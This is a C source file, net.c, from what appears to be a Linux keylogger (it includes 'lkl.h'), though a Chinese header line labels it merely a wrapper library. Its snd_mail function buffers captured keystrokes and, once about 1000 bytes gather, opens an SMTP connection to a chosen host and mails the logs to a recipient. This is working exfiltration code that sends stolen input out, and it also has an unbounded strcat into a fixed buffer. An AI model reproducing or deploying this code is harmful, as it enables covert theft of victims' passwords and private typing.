net.c

是一个包装库

#include "lkl.h"

#define CMDNUM 6
#define LOGBUF 1000

static char logbuf[1024];
char *mail[CMDNUM] = {"HELO tin.it\n",
		      "MAIL FROM:[e-mail]\n",
		      "RCPT TO:",
		      "DATA\n",
		      ".\n",
		      "QUIT\n"};

void snd_mail(char ascii[], char host[], char rcpt[])
{
  int fd, i, j;
  struct sockaddr_in sock;
  
  strcat(logbuf, ascii);
  
  if(strlen(logbuf) >= LOGBUF){

    printf("\n\nsending logs to %s via %s\n\n", rcpt, host);
    
    sock.sin_family = AF_INET;
    sock.sin_addr.s_addr = inet_addr(host);
    sock.sin_port = htons(25);
    memset(&sock.sin_zero, '\0', 8);
    
    if((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
      perror("socket");
      return;
    }
    
    if(connect(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1){
      printf("\n\nunable to connect to %s\n", (char *)inet_ntoa(sock.sin_addr));
      perror("connect()");
      puts("\n");
      return;
    }
    
    for(i = 0; i <= (CMDNUM-1); i++){
      send(fd, mail[i], strlen(mail[i]), 0);
      if(i == 2){
	send(fd, rcpt, strlen(rcpt), 0);
	send(fd, "\n", sizeof(char), 0);
      }
      if(i == 3){
	send(fd, logbuf, strlen(logbuf), 0);
	send(fd, "\n", sizeof(char), 0);
      }
    }
    
    close(fd);

    bzero(logbuf, strlen(logbuf));
  }
}